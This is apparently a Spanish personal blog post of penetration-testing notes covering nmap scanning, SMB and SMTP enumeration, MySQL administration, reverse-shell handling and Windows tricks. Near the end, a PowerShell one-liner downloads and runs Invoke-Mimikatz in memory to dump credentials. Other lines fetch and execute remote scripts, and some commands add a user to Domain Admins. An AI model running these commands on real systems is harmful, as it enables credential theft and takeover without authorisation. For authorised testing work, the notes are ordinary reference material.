1938 palabras
10 minutos
Notas sobre pentest
2025-08-11

Pentest#

Un compendio de notas sobre pentest.

Todo está aquí, excepto los temas que tienen su propio archivo:


Análisis de binarios#

32 bits vs 64 bits#

Se abre el binario con un visor hexadecimal y se busca lo siguiente:

Si es de 32 bits

  • PL
  • 50 45 00 00 4C

Si es de 64 bits

  • PE..dt
  • 50 45 00 00 64 86

Apache#

Obtener versiones#

  • curl
  • netcat
  • telnet
Terminal window
curl -I http://google.com

Enumerar carpetas (dirb)#

  • dirb
  • gobuster
  • nmap
Terminal window
# Enumerar carpetas con dirb
dirb http://sitio.com -o output_file.txt
# Enumerar carpetas con nmap
nmap -Pn -p80 --script http-enum 127.0.0.1

Dirbfile#

Terminal window
# clonar repositorio
git clone https://github.com/elcaza/dirbfile.git
# Uso
./dirbfile file

Hashes#

Información de hashesh#


Herramientas útiles#

CRACKMAPEXEC#

Terminal window
# Enumerar dominio
crackmapexec smb 10.10.10.10
# Comprobar contraseñas
crackmapexec smb 10.10.10.10 -u 'user' -p 'password'
# Ver recursos compartidos
crackmapexec smb 10.10.10.10 -u 'user' -p 'password' --shares

Crunch#

Herramienta para crear diccionarios

Instalación#

Terminal window
sudo apt install crunch

Uso#

Terminal window
# crunch <min> <max> <charset>
crunch 3 6 0123456789 -o list.txt
crunch 4 8 123abcdefgh#$% -o list2.txt

More info#

Cyberchef#

Un montón de herramientas para códificar/decodificar

smbmap#

Terminal window
# Ver recursos compartidos
smbmap -H 10.10.10.10
# Leer algún recurso compartido (preivamente sale)
smbmap -H 10.10.10.10 -r Nombre_recurso
# Descargar un recurso
smbmap -H 10.10.10.10 --download Nombre_recurso
# Leer carpetas/archivos con credenciales
smbmap 10.10.10.10 -u 'user' -p 'password' -r Carpeta

Ngrok#

Passwords#

Terminal window
cat passwords_burp.txt | (while read password; do echo -n "carlos" | (while read USERS; do echo $USERS:$password; done); done) > eyewitness.txt

Kioscos Windows#

Comandos útiles#

Terminal window
# usuario local
whoami
# hostname
hostname
# version de windows
winver
# Visor de eventos
eventvwr

LDAP#

ldap#

Terminal window
ldapsearch -h 192.168.100.1 -x -s base namingcontexts

Metasploit#

Logs#

Problema:

  • La salida de los comandos en metasploit nos es procesable con << | >>
    • Por ejemplo la salida de enum_ssh para filtrar únicamente los usuarios validos

Con spool puedes definir un lugar en que se guardarán todo lo que imprima en pantalla metasploit

Terminal window
# Apagar los logs
spool off
# Añadir una ruta en que se harán los logs
spool /ruta/para/guardar.log
# Si lo quieres tener por siempre
spool /home/<username>/.msf3/logs/console.log

Más información:


nmap#

Metodología#

Terminal window
simple (nmap 2000-10000)
1. simple
nmap -vvv -Pn --max-retries 1 --top-ports 10000 -iL ips.txt -oA s1_proyecto_10000
correr: script para sacar puertos únicos
2. simple de versiones
nmap -vvv -sV -Pn --max-retries 1 -p <list_ports> -iL ips.txt -oA s2_sv_proyecto_10000
3. simple de vulnes
nmap -vvv -sV -sC -Pn --max-retries 1 -p <list_ports> -iL ips.txt -oA s3_sv_sc_proyecto_10000
correr: script para remover puertos filtrados
completo (all)
1. completo
nmap -vvv -Pn --max-retries 1 -p- -iL ips.txt -oA c1_proyecto_all
correr: script para sacar puertos únicos
2. completo de versiones
nmap -vvv -sV -Pn --max-retries 1 -p <list_ports> -iL ips.txt -oA c2_sv_proyecto_all
3. completo de vulnes
nmap -vvv -sV -sC -Pn --max-retries 1 -p <list_ports> -iL ips.txt -oA c3_sv_sc_proyecto_10000
script para sacar puertos únicos
cat file.nmap | grep open | cut -d "/" -f1 | sort -u | tr "\n" "," && echo;
script para remover puertos filtrados
sed '/filtered/d' c2_sv_sc_proyecto_all.nmap > f2_sv_sc_proyecto_all.nmap
sed '/filtered/d' c3_sv_sc_proyecto_all.nmap > f3_sv_sc_proyecto_all.nmap
UDP
1. simple
nmap -vvv -sU -Pn --max-retries 1 --top-ports 10000 -iL ips.txt -oA s1_udp_proyecto_10000
2. simple de versiones
nmap -vvv -sU -sV -Pn --max-retries 1 -p <list_ports> -iL ips.txt -oA s2_udp_sv_proyecto_10000
3. simple de vulnes
nmap -vvv -sU -sV -sC -Pn --max-retries 1 -p <list_ports> -iL ips.txt -oA s3_udp_sv_sc_proyecto_10000
otros
cat f2_sv_proyecto_all.nmap | grep open | sort -u

Secuencia#

  1. Corroborar que el host esté arriba, considerar omitir la resolución DNS
    • Puede ser con o sin ping
  2. Detección única de puertos (Sin versiones ni nada)
  3. Detección de versiones y vulnerabilidades

Escaneo de un segmento de red#

Terminal window
# Escanear un segmento de red
nmap -sn 172.27.48.0/24
# Escanear un segmento de red (varias ips)
nmap -sn 172.27.253.0/24 172.27.252.0/29

Descubrimiento rápido#

Terminal window
# Escaneo a top ports
nmap --max-retries 0 --top-ports 5000 site.com
# Escaneo a todos los puertos
nmap --max-retries 0 -p- site.com
# Escaneo a top ports pero sin hacer ping, toma todos los hosts como vivos
nmap --max-retries 0 --top-ports 5000 -P0 site.com
# Escaneo a top ports pero sin hacer ping, toma todos los hosts como vivos
nmap --max-retries 0 --top-ports 5000 -Pn site.com

Detección de versiones y vulnerabilidades#

Terminal window
# Sintaxis básica
nmap --max-retries -p 22,80,443,3000 -sV
# -sV => Mostrar versiones
# -O => Identifica S.O.
# -p => Define el puerto
# Identifica vulnerabilidades
nmap -sV -p80,443 --script=vulners ip
# Identifica vulnerabilidades por puerto asociado
nmap -p80,8080 –sV –sC ip
# -sC => Scripts de vulnerabilidades acorde al puerto analizado
# Busca vulnerabilidades
nmap 192.160.100.1 -Pn -sCV
# Realizar escaneo completo a los puertos determinados
nmap -A -p80,443 ip

Escaneo UDP#

Terminal window
# Escaneo a puertos UDP
nmap -sU 172.24.16.25

Scripts#

Terminal window
# Actualiza la BD de scripts
nmap --script-updatedb
# Localiza los scripts de nmap
locate nse | grep script
# Ayuda sobre el script
nmap --script-help=nombre_scrip

Más información:


Pretty shell#

rlwrap (Historial de comandos)#

Terminal window
# Instala rlwrap
sudo apt install rlwrap
# Para capturar la reverse shell
rlwrap nc -lp 5000

Python pretty shell#

Terminal window
# Una vez que tienes la conexión
python -c "import pty; pty.spawn('/bin/bash')"
# Otra opción es
python -c "import pty; pty.spawn('/bin/sh')"

Python#

Servidores web#

# Python 3
python3 -m http.server 8000
# Python 2
python -m SimpleHTTPServer 7777

SQL#

Asignar permisos#

Terminal window
GRANT ALL PRIVILEGES ON mi_base_de_datos.* TO mi_usuario@localhost;
FLUSH PRIVILEGES;

Borrar base de datos#

Terminal window
DROP DATABASE base_de_datos;

Cambiar password de usuarios sin conocer el password#

Terminal window
# Ver versión mysql/mariadb
mysql --version
# Detener mysql
sudo systemctl stop mysql
# Iniciar MySQL sin seguridad
sudo mysqld_safe --skip-grant-tables --skip-networking &
# Iniciar sesión sin contraseña
mysql -u root
# Cambiar password
FLUSH PRIVILEGES;
ALTER USER 'root'@'localhost' IDENTIFIED BY 'new_password';
# Otra opción
SET PASSWORD FOR 'root'@'localhost' = PASSWORD('new_password');

Ingresar a SQL#

Terminal window
sudo mysql -p

Listar usuarios#

Terminal window
# Listar usuarios en MySQL
SELECT user FROM mysql.user;
# Listar usuarios y hosts
SELECT user,host FROM mysql.user;
# Listar usuarios, hosts y password
SELECT user,host,password FROM mysql.user;
# Show Current and Current Logged Users
SELECT current_user();
# If you need more information, you can modify the query to display currently logged-in users with their states
SELECT user,host, command FROM information_schema.processlist;

Listar Bases de datos y ver permisos#

Terminal window
# Ver bases de datos
SHOW DATABASES;
SHOW SCHEMAS;

Listar permisos#

Terminal window
# Ver permisos de una BD en especifico
SELECT user,host from mysql.db where db='DB_NAME';
# Ver privilegios de todos los usuarios
SELECT user, host, password, select_priv, insert_priv, shutdown_priv, grant_priv FROM mysql.user;
# Ver permisos para BD individuales
SELECT user, host, db, select_priv, insert_priv, grant_priv FROM mysql.db;
# Ver privilegios
SHOW grants;

Respaldar una BD#

Terminal window
# Crear respaldo de la BD
mysqldump -u nombre_usuario -p nombre_bbdd > nombre_archivo_dump.sql

Importar una BD#

Terminal window
# Crear una nueva base de datos
CREATE DATABASE nueva_bbdd;
# Importar una BD
mysql -u nombre_usuario -p nueva_bbdd < nombre_archivo_dump.sql;

Referencias:#


RPC (135)#

Script de Python#

Terminal window
./rpcdump.py 192.168.100.1

SMB (Server Message Block)#

Detalles#

  • Puerto 445
  • Versión SMB 1.0 => Conexión anónima permitida
  • Windows 2008 en adelante no hay conexión anónima
    • La versión SMB 1.0 podría estar habilitada por compatibilidad

Autenticación#

Terminal window
# Autenticación anónima
smbclient -L 172.27.30.30 -N
# Caso deshabilitado
# Anonymous login successful
#
# Sharename Type Comment
# --------- ---- -------
# SMB1 disabled -- no workgroup available
# Autenticación con usuario y contraseña
# % separa el usuario del password
smbclient -L 172.27.30.30 -U 'user%password'
# Caso login correcto
# Sharename Type Comment
# --------- ---- -------
# Recursos compartidos por defecto
# ADMIN$ Disk Remote Admin
# C$ Disk Default share
# IPC$ IPC Remote IPC
# NETLOGON Disk Logon server share
# SYSVOL Disk Logon server share
# Recursos compartidos en el caso de usar Windows update
# UpdateServicesPackages Disk A network share to be used by client systems for collecting all software packages (usually applications) published on this WSUS system.
# WsusContent Disk A network share to be used by Local Publishing to place published content on this WSUS system.
# WSUSTemp Disk A network share used by Local Publishing from a Remote WSUS Console Instance.
# SMB1 disabled -- no workgroup available

Entrada a los directorios#

Terminal window
# Entrada a los directorios
# Para algunos casos se requiere usuario admin
smbclient //172.27.30.30/WsusContent -U 'user%password'
# Caso usuario correcto y con privilgios suficientes
# user:~# smbclient //172.27.30.30/C$ -U 'usuarioadmin%password'
# Try "help" to get a list of possible commands.
# Una vez en el prompt (smb: \>) usar dir para listar
dir
# $Recycle.Bin DHS 0 Thu Aug 22 11:50:45 2013
# Documents and Settings DHS 0 Thu Aug 22 10:48:41 2013
# File.txt DR 0 Wed Sep 8 19:08:52 2021
# Program Files DR 0 Wed Sep 8 20:30:07 2021
# Program Files (x86) D 0 Thu Aug 22 11:39:32 2013
# ProgramData DH 0 Wed Sep 8 19:11:24 2021
# Users DR 0 Wed Sep 8 19:08:52 2021
# Windows D 0 Wed Sep 8 18:52:38 2021
# Para obtener algun archivo get file
get File.txt
# getting file \File.txt of size 0 as READMe.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
# Para quitar
quit
#####################
# Caso usuario correcto y con privilgios insuficientes
# smbclient //172.27.30.30/WsusContent -U 'user%password'
# tree connect failed: NT_STATUS_ACCESS_DENIED

Para deshabilitar el compartir por defecto mediante llave de registro#

Terminal window
# llave para deshabilitar el autoshare (?)
# dar de alta double word y en valor 0
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanManServer\AutoShareWks

SMB vulnes nmap#

Terminal window
# SMB
nmap 192.168.100.1 -Pn -p 445 -sCV –script vuln

SMTP (Simple Mail Transfer Protocol)#

Puedes conectarte a través de varias herramientas, por ejemplo:

  • netcat
  • telnet

Sacar la configuración del servidor#

Requiere que tengas el nombre de dominio, pero este sale en el banner de bienvenida

  • 220 dmzweb.sitio.com ESMTP Sendmail 8.13.5/8.13.5; Mon, 4 Oct 2021 03:20:03 -0400
Terminal window
# Con telnet
telnet 172.27.254.20 25
# Nota el ehlo en lugar de helo
# Sustituir dmzweb.sitio.com por el nombre de dominio
ehlo dmzweb.sitio.com
# output
# 250-dmzweb.sitio.com Hello [172.31.247.18], pleased to meet you
# 250-ENHANCEDSTATUSCODES
# 250-PIPELINING
# 250-EXPN
# 250-VERB
# 250-8BITMIME
# 250-SIZE
# 250-DSN
# 250-ETRN
# 250-DELIVERBY
# 250 HELP
# Para salir
quit
# Con netcat
nc 172.27.254.20 25
# Nota el ehlo en lugar de helo
# Sustituir dmzweb.sitio.com por el nombre de dominio
ehlo dmzweb.sitio.com
# output
# 250-dmzweb.sitio.com Hello [172.31.247.18], pleased to meet you
# 250-ENHANCEDSTATUSCODES
# 250-PIPELINING
# 250-EXPN
# 250-VERB
# 250-8BITMIME
# 250-SIZE
# 250-DSN
# 250-ETRN
# 250-DELIVERBY
# 250 HELP
# Para salir
quit

Enumerar cuentas de usuarios#

Terminal window
nc 172.27.254.20 25
# Nota el helo en lugar de ehlo
helo dmzweb.sitio.com
# Para enumerar se uso EXPN username
EXPN usuario1
# Output
# 550 5.1.1 usuario1... User unknown
EXPN root
# 250 2.1.5 Nombre Apellido <usuario@dmzweb.sitio.com>
EXPN webmaster
# 250 2.1.5 Nombre Apellido <usuario@dmzweb.sitio.com>

Enviar correos sin autenticación#

Tienes que tener una cuenta valida de correo

Terminal window
EXPN root
# 250 2.1.5 Nombre ap <usuario.servidor@dmzweb.sitio.com>
mail from: usuario.servidor@dmzweb.sitio.com
# 250 2.1.0 usuario.servidor@dmzweb.sitio.com... Sender ok
rcpt to: user@gmail.com
# 250 2.1.5 user@gmail.com... Recipient ok
data
# 354 Enter mail, end with "." on a line by itself
Subject: El asunto
Mensaje del email, terminando con un punto
.
# 250 2.0.0 1947Mnyw018712 Message accepted for delivery

Tareas en segundo plano y asincronas#

Con funciones#

#!/usr/bin/bash
delayed_curl() {
url=$1
callback=$2
seconds=$3
sleep $seconds
curl -s $url || $callback $url
}
loggin_error() {
echo "error in: $1" >> error.log
}
for delay in 1 5 10; do
echo $delay
delayed_curl "www.asjdlfjsdf.com" loggin_error $delay &
delayed_curl "https://webhook.site/0cd769e1-20ce-4b42-aa10-2e580fef6a26" loggin_error $delay &
done

En una sola línea#

Terminal window
time sleep 5 && curl -s "https://webhook.site/0cd769e1-20ce-4b42-aa10-2e580fef6a26" && echo "Ready! `date`" & echo "Comenzando (se imprime primero) `date`"
# Output:
# [1] 1156018
# Comenzando (se imprime primero) jue 29 jun 2023 09:11:35 CST
# real 0m5.002s
# user 0m0.002s
# sys 0m0.000s
# Ready! jue 29 jun 2023 09:11:41 CST

WiFi#

Escanear redes#

Terminal window
# Ecacenar interfaz
# iwlist <interfaz> scan | grep SSID
iwlist wlan0 scan | grep SSID
# ESSID:"Red 1"
# ESSID:"Red 2"

Windows#

Descargar archivos#

Requiere administrador

Terminal window
# Metodo 1 - Download in PowerShell 2 ^
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("https://raw.githubusercontent.com/elcaza/pentest/main/README.md","C:\path\file")
# Metodo 2 - Download with Invoke-WebRequest ^
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/elcaza/pentest/main/README.md" -OutFile "C:\path\file"
# Metodo 3 - Download with Invoke-WebRequest ^
wget "https://raw.githubusercontent.com/elcaza/pentest/main/README.md" -outfile "file"

Más información:

Añadir usuario a Dominio#

Terminal window
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

Ejecutando un living off the land#

  • Windows Defender lo detecta como actividad maliciosa
Terminal window
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

iex ((New-Object System.Net.WebClient).DownloadString(‘https://git.io/JJ8R4’))

Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://192.168.100.59:3000/poc.ps1’)

Más información

Obteniendo datos del sistema#

Terminal window
REM REM = Comentario en CMD
REM Obtener información
systeminfo

Artículos interesantes#

Notas sobre pentest
https://elcaza.github.io/posts/apuntes/pentest/
Autor
El Capitán
Publicado el
2025-08-11
Licencia
CC BY-NC-SA 4.0